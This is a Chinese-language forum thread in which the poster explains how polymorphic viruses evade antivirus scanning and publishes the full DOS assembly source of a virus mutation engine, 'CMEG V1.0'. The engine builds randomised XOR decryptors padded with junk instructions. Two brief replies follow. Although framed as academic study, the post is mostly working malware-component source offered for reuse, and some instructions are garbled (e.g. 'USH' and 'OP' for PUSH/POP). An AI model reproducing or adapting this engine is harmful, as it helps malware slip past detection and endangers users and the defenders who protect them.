发新话题
打印

解开病毒变形的秘密--变形引擎

解开病毒变形的秘密--变形引擎

注: 本文是我个人的作品,如转载请注明出处,并请保持文章的完整性,或联系OICQ:24638587.    使自己的做的病毒"流芳百世"是许多病毒作者的梦寐以求的目的.为了达到这个目的,一般会通过两种办法来实现:第一种是隐形技术;(我们今天暂且不讨论这个问题,下节课吧^_^); 第二种就是我们今天要讨论的变形技术; 现在越来越多的病毒都使用了加密变形技术,以令自己可以"潇洒走天下".而且加密变形的水平也越来越高,令那些杀毒软件公司的工程师们伤透了脑筋.续上次写了,宏病毒入门后,好多的网友要求讲解一些其他的更高深点的东西,我就将我在大学时写的一个变形引擎的源程序在此讲解一下吧,但不是教你们要去写病毒,而是作为一种学术研究,让大家对病毒有进一步的了解。 本加密引擎使用的是xor的加密法,但加密引擎的重点不是在于加密的方法,(一个杀毒软件总不可能将一个变形病毒的所有加密后会产生的特征码都放到病毒库里吧^-^,他们通常是通过解密部分的特征码来查杀),我们关心是将我们的解密代码的编码方式。 早期的变形病毒是做好几个不同的解密/加密代码随机的选择,如下例: …… mov  ax,3456h nop nop xor bx,ax …… …… mov ax,3456h or  ax,ax xor bx,ax …… 到后来就渐渐出现了会自己编码的变形病毒了,在DOS时代最著名的NATAS相信大家比较熟悉吧,我的随机数产生器就是在他那学的,当然改进了不少。 好了,不讲耶苏了,切入正题。 为了做到将我们的加密/解密代码隐藏,我们要随机的选用加密/解密寄存器,并用随机的立即数加密,这是我们要做的第一步,但这样还是不够的, 我们还要在加密/解密代码中插入随机指令,而这些指令必须不会影响我们的加密/解密。以下是我的程序,1.0版的,其它版本将在新的病毒梦工厂公布,你们自己研究研究吧.别做坏事噢. ;CMEG V1.0(CWL Mutation Engine Generates)  Copyright 1996-2001 CodeDemon Virus Dreaming Factory ;Please use debug to test this code. ;CMEG V1.0(CWL Mutation Engine Generates) 变形引擎 ;Copyright by CWL/[CDVDF] ;CWL/[病毒梦工厂]版权所有。 ;请使用DEBUG来测试本程序。 .286 .model tiny .code ORG 100H start:      USH CS      OP DS      USH CS      OP ES      MOV SI,OFFSET START      MOV DI,OFFSET BUFFER     ;      MOV CX,dcsF-START      MOV BP,OFFSET BUFFER     ;      MOV dcsF,0      CALL CEG      INT 20H CEG:     PUSH cX     PUSH bX     CALL BOGUS     MOV  AX,5     CALL MAKERAM     MOV dcsF,AL     OR AL,AL     JNZ pass1     CALL GET_SEVEN     CALL dcs pass1:     CALL GET_SEVEN     CMP AL,4     JZ pass1     MOV REG16_1,AL     ADD AL,0B8H     STOSB     PUSH AX     CALL GETRAMNUM     POP AX     JP pass2     CALL GETRAMNUM     XCHG CX,AX     XOR AX,CX     STOSW     CALL BOGUS     CMP dcsF,1     JNZ pass1_1     CALL UNpass1_1 pass1_1:     MOV AH,REG16_1     ADD AH,0F0H     MOV AL,81H     STOSW pass2:     XCHG AX,CX     STOSW     CALL BOGUS     CMP dcsF,1     JZ UNpass1_6     CMP dcsF,2     JNZ pass1_2 UNpass1_6:     CALL UNpass1_1 pass1_2:     CALL GET_SEVEN     CMP AL,4     JBE pass1_2     CMP AL,REG16_1     JZ  pass1_2     MOV REG16_2,AL     ADD AL,0B8H     STOSB     XCHG BX,AX     push di     XCHG BP,AX     STOSW     mov cx,di     CALL BOGUS     CMP dcsF,3     JNZ pass1_3     CALL UNpass1_3 pass1_3:     CMP dcsF,4     JNZ pass1_4     CALL UNpass1_3 pass1_4:     CMP dcsF,5     JNZ pass1_5     MOV AL,2EH     STOSB pass1_5:     MOV AL,80H     MOV AH,[BX(PTR_ADDRESS-START+100h)-(0B8H+3)]     STOSW     CMP AH,76H     JNE GET_ENCR_KEY     XOR AL,AL     STOSB GET_ENCR_KEY:     IN AL,40H     STOSB     XCHG BP,AX     CALL BOGUS     MOV AL,REG16_2     ADD AL,40H     STOSB     CALL BOGUS     MOV AL,REG16_1     ADD AL,48H     STOSB     CALL GET_SEVEN     CALL BOGUS_2     MOV AX,DI     SUB AX,CX     INC AX     NOT AL     MOV AH,AL     MOV AL,75H RET_CODE:     CMP REG16_1,1     JNZ LOOP_CODE     PUSH AX     CALL GETRAMNUM     POP AX     JP LOOP_CODE     MOV AL,0E2H LOOP_CODE:     STOSW     CALL BOGUS     LEA CX,[DI- (BUFFER-START+100H)]     POP BX     ADD [BX],CX     pop BX ;     MOV DX,BUFFER-START+100H ;     CALL WRITE_FILE ENCRYPT_PLOY:     POP CX     PUSH CX     CALL ENCRYPT_BYTE     POP CX ;     MOV DX,0 ;     CALL WRITE_FILE ;     call ENCRYPT_BYTE     RET ENCRYPT_BYTE: ;     push si ;     push di ;     MOV SI,0 ;     PUSH SI ;     POP DI     LODSB     XOR AX,BP     STOSB     LOOP ENCRYPT_BYTE ;     pop di ;     pop si     RET PTR_ADDRESS DB 37H,0H,76H,34H,35H dcs:      CMP AL,4      JNZ NOPUSH      MOV AL,0EH      STOSB      CALL BOGUS      MOV AL,1FH      STOSB      JMP dcs_OK NOPUSH:      MOV AH,8CH      ADD AL,0C8H      XCHG AH,AL      STOSW      USH AX      CALL BOGUS      OP AX      ADD AX,1002H      STOSW      CALL BOGUS dcs_OK:      RET UNpass1_1:     CALL GET_SEVEN     CMP AL,REG16_1     JZ UNpass1_1     JMP UNPASS UNpass1_3:     CALL GET_SEVEN     CMP AL,REG16_1     JZ UNpass1_3     CMP AL,REG16_2     JZ UNpass1_3 UNPASS:     CALL dcs     RET BOGUS:      CALL GET_SEVEN      CMP AL,2      JZ add1 BOGUS_2:      CMP AL,3      JA UNBOGUS      OR AL,AL      JZ add3      CMP AL,1      JZ add2 add4:      CALL GET_SEVEN      CMP AL,4      JZ  add4      ADD AL,90H      STOSB      STOSB      JMP UNBOGUS add3:      IN AL,40H      AND AL,0FH      ADD AL,70H      STOSB      XOR AL,AL      STOSB      JMP UNBOGUS add2:      CALL GET_SEVEN      CMP AL,4      JZ  add2      ADD AL,50H      STOSB      ADD AL,8H      STOSB      JMP UNBOGUS add1:      CALL GET_SEVEN      CMP AL,4      JZ add1      ADD AL,40H      MOV AH,AL      ADD AL,8      USH DX      XCHG DX,AX      IN AL,40H      OR AL,AL      JP SWITH      XCHG DX,AX      OP  DX      XCHG AH,AL SWITH:      STOSW UNBOGUS:      RET GET_SEVEN:             MOV     AX,7             JMP     SHORT MAKERAM GETRAMNUM:   MOV     AX,0FFFFH MAKERAM:             PUSH    DS                                             PUSH    BX             PUSH    CX                                             PUSH    DX                                             PUSH    AX                                             XOR     AX,AX             INT     1AH             IN      AL,40H             XCHG    CX,AX             XCHG    DX,AX                                           MOV     BX,OFFSET KEY                                       XOR     [BX],AX                                         ROL     WORD PTR [BX],CL                               XOR     CX,[BX]                                         ROL     AX,CL                                           XOR     DX,[BX]                                         ROR     DX,CL                                           XOR     AX,DX                                           IMUL    DX                                             XOR     AX,DX                                           XOR     [BX],AX                                         POP     CX     ;CALLING AX                                         XOR     DX,DX                                           INC     CX                                             JZ      D582                                           DIV     CX                                             XCHG    DX,AX                               D582:             POP     DX                                             POP     CX                                             POP     BX                                             POP     DS             OR      AX,AX      ;                                     RET REG16_1 DB 0 REG16_2 DB 0 dcsF  DB 0 KEY     DW 0 BUFFER  DB 0 END START
              
www.wwdsoft.com     www.123go.cn      pc.123go.cn       www.ding8.com

TOP

汇编,唉,看不懂。如果是basic还学过。哈,感谢提供源程序。
戒急用忍~

TOP

宏病毒就是用VBA(类似于VB)写的,过几天放上来.
              
www.wwdsoft.com     www.123go.cn      pc.123go.cn       www.ding8.com

TOP

发新话题